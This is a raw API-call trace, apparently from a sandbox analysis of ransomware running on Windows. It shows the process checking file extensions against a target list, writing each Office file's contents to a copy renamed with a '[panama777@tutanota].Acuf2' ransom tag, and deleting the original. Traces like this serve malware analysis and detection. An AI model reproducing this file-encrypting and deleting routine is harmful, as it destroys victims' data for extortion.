	[0263.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.218] lstrlenW (lpString=".doc") returned 4
	[0263.219] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1
	[0263.219] lstrlenW (lpString=".docx") returned 5
	[0263.219] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1
	[0263.219] lstrlenW (lpString=".pdf") returned 4
	[0263.219] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1
	[0263.219] lstrlenW (lpString=".xls") returned 4
	[0263.219] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1
	[0263.219] lstrlenW (lpString=".xlsx") returned 5
	[0263.219] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1
	[0263.219] lstrlenW (lpString=".ppt") returned 4
	[0263.219] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1
	[0263.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.219] lstrlenW (lpString=".zip") returned 4
	[0263.219] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1
	[0263.219] lstrlenW (lpString=".rar") returned 4
	[0263.219] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1
	[0263.219] lstrlenW (lpString=".bz2") returned 4
	[0263.219] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1
	[0263.219] lstrlenW (lpString=".7z") returned 3
	[0263.219] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1
	[0263.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.219] lstrlenW (lpString=".dbf") returned 4
	[0263.219] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1
	[0263.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.219] lstrlenW (lpString=".1cd") returned 4
	[0263.219] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1
	[0263.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXC") returned 61
	[0263.219] lstrlenW (lpString=".jpg") returned 4
	[0263.219] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1
	[0263.219] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0263.220] lstrlenW (lpString="MSPUB_COL.HXT") returned 13
	[0263.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.220] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=205) returned 1
	[0263.220] CloseHandle (hObject=0x354) returned 1
	[0263.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 0x20
	[0263.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.221] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.221] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.221] GetLastError () returned 0x0
	[0263.221] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xcd, lpOverlapped=0x0) returned 1
	[0263.222] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0263.223] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.223] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0263.223] SetEndOfFile (hFile=0x32c) returned 1
	[0263.223] CloseHandle (hObject=0x32c) returned 1
	[0263.223] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.223] SetEndOfFile (hFile=0x354) returned 1
	[0263.225] CloseHandle (hObject=0x354) returned 1
	[0263.225] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_col.hxt")) returned 1
	[0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61
	[0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61
	[0263.226] lstrlenW (lpString=".doc") returned 4
	[0263.226] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.226] lstrlenW (lpString=".docx") returned 5
	[0263.226] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.226] lstrlenW (lpString=".pdf") returned 4
	[0263.226] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.226] lstrlenW (lpString=".xls") returned 4
	[0263.226] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.226] lstrlenW (lpString=".xlsx") returned 5
	[0263.226] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.226] lstrlenW (lpString=".ppt") returned 4
	[0263.226] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61
	[0263.226] lstrlenW (lpString=".zip") returned 4
	[0263.226] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.226] lstrlenW (lpString=".rar") returned 4
	[0263.226] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.226] lstrlenW (lpString=".bz2") returned 4
	[0263.226] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.226] lstrlenW (lpString=".7z") returned 3
	[0263.226] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61
	[0263.226] lstrlenW (lpString=".dbf") returned 4
	[0263.226] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61
	[0263.226] lstrlenW (lpString=".1cd") returned 4
	[0263.226] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_COL.HXT") returned 61
	[0263.226] lstrlenW (lpString=".jpg") returned 4
	[0263.227] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.227] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=114) returned 1
	[0263.227] CloseHandle (hObject=0x354) returned 1
	[0263.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 0x20
	[0263.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.227] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.227] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.228] GetLastError () returned 0x0
	[0263.228] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x72, lpOverlapped=0x0) returned 1
	[0263.229] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.229] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.229] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0263.229] SetEndOfFile (hFile=0x32c) returned 1
	[0263.229] CloseHandle (hObject=0x32c) returned 1
	[0263.229] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.230] SetEndOfFile (hFile=0x354) returned 1
	[0263.232] CloseHandle (hObject=0x354) returned 1
	[0263.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_f_col.hxk")) returned 1
	[0263.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63
	[0263.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63
	[0263.232] lstrlenW (lpString=".doc") returned 4
	[0263.232] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.232] lstrlenW (lpString=".docx") returned 5
	[0263.232] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.232] lstrlenW (lpString=".pdf") returned 4
	[0263.232] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.232] lstrlenW (lpString=".xls") returned 4
	[0263.232] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.232] lstrlenW (lpString=".xlsx") returned 5
	[0263.232] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.232] lstrlenW (lpString=".ppt") returned 4
	[0263.232] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63
	[0263.233] lstrlenW (lpString=".zip") returned 4
	[0263.233] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.233] lstrlenW (lpString=".rar") returned 4
	[0263.233] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.233] lstrlenW (lpString=".bz2") returned 4
	[0263.233] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.233] lstrlenW (lpString=".7z") returned 3
	[0263.233] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63
	[0263.233] lstrlenW (lpString=".dbf") returned 4
	[0263.233] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63
	[0263.233] lstrlenW (lpString=".1cd") returned 4
	[0263.233] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_F_COL.HXK") returned 63
	[0263.233] lstrlenW (lpString=".jpg") returned 4
	[0263.233] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.233] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=113) returned 1
	[0263.233] CloseHandle (hObject=0x354) returned 1
	[0263.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 0x20
	[0263.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0263.234] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.234] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.234] GetLastError () returned 0x0
	[0263.234] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x71, lpOverlapped=0x0) returned 1
	[0263.235] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0263.236] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.236] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0263.236] SetEndOfFile (hFile=0x32c) returned 1
	[0263.236] CloseHandle (hObject=0x32c) returned 1
	[0263.236] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.236] SetEndOfFile (hFile=0x354) returned 1
	[0263.238] CloseHandle (hObject=0x354) returned 1
	[0263.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub_k_col.hxk")) returned 1
	[0263.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63
	[0263.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63
	[0263.239] lstrlenW (lpString=".doc") returned 4
	[0263.239] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0263.239] lstrlenW (lpString=".docx") returned 5
	[0263.239] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0263.239] lstrlenW (lpString=".pdf") returned 4
	[0263.239] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0263.239] lstrlenW (lpString=".xls") returned 4
	[0263.239] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0263.239] lstrlenW (lpString=".xlsx") returned 5
	[0263.239] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0263.239] lstrlenW (lpString=".ppt") returned 4
	[0263.239] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0263.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63
	[0263.239] lstrlenW (lpString=".zip") returned 4
	[0263.239] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0263.239] lstrlenW (lpString=".rar") returned 4
	[0263.239] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0263.239] lstrlenW (lpString=".bz2") returned 4
	[0263.239] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0263.239] lstrlenW (lpString=".7z") returned 3
	[0263.239] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0263.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63
	[0263.239] lstrlenW (lpString=".dbf") returned 4
	[0263.239] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0263.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63
	[0263.240] lstrlenW (lpString=".1cd") returned 4
	[0263.240] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0263.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB_K_COL.HXK") returned 63
	[0263.240] lstrlenW (lpString=".jpg") returned 4
	[0263.240] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0263.241] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=89432) returned 1
	[0263.241] CloseHandle (hObject=0x354) returned 1
	[0263.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll")) returned 0x20
	[0263.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59
	[0263.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59
	[0263.245] lstrlenW (lpString=".doc") returned 4
	[0263.245] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.245] lstrlenW (lpString=".docx") returned 5
	[0263.245] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0263.245] lstrlenW (lpString=".pdf") returned 4
	[0263.245] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.245] lstrlenW (lpString=".xls") returned 4
	[0263.245] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.245] lstrlenW (lpString=".xlsx") returned 5
	[0263.245] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0263.245] lstrlenW (lpString=".ppt") returned 4
	[0263.245] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59
	[0263.245] lstrlenW (lpString=".zip") returned 4
	[0263.245] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.245] lstrlenW (lpString=".rar") returned 4
	[0263.245] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.245] lstrlenW (lpString=".bz2") returned 4
	[0263.245] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.245] lstrlenW (lpString=".7z") returned 3
	[0263.245] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59
	[0263.245] lstrlenW (lpString=".dbf") returned 4
	[0263.246] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59
	[0263.246] lstrlenW (lpString=".1cd") returned 4
	[0263.246] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL") returned 59
	[0263.246] lstrlenW (lpString=".jpg") returned 4
	[0263.246] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.246] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.246] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.247] GetLastError () returned 0x0
	[0263.247] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x5f254, lpOverlapped=0x0) returned 1
	[0263.256] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x5f260, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x5f260, lpOverlapped=0x0) returned 1
	[0263.263] ReadFile (in: hFile=0x354, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.263] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0263.263] SetEndOfFile (hFile=0x32c) returned 1
	[0263.263] CloseHandle (hObject=0x32c) returned 1
	[0263.263] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.263] SetEndOfFile (hFile=0x354) returned 1
	[0263.437] CloseHandle (hObject=0x354) returned 1
	[0263.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore.hxs")) returned 1
	[0263.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58
	[0263.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE.HXS") returned 58
	[0263.510] lstrlenW (lpString=".doc") returned 4
	[0263.510] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0263.510] lstrlenW (lpString=".docx") returned 5
	[0263.510] lstrcmpiW (lpString1=".docx", lpString2="E.HXS") returned -1
	[0263.510] lstrlenW (lpString=".pdf") returned 4
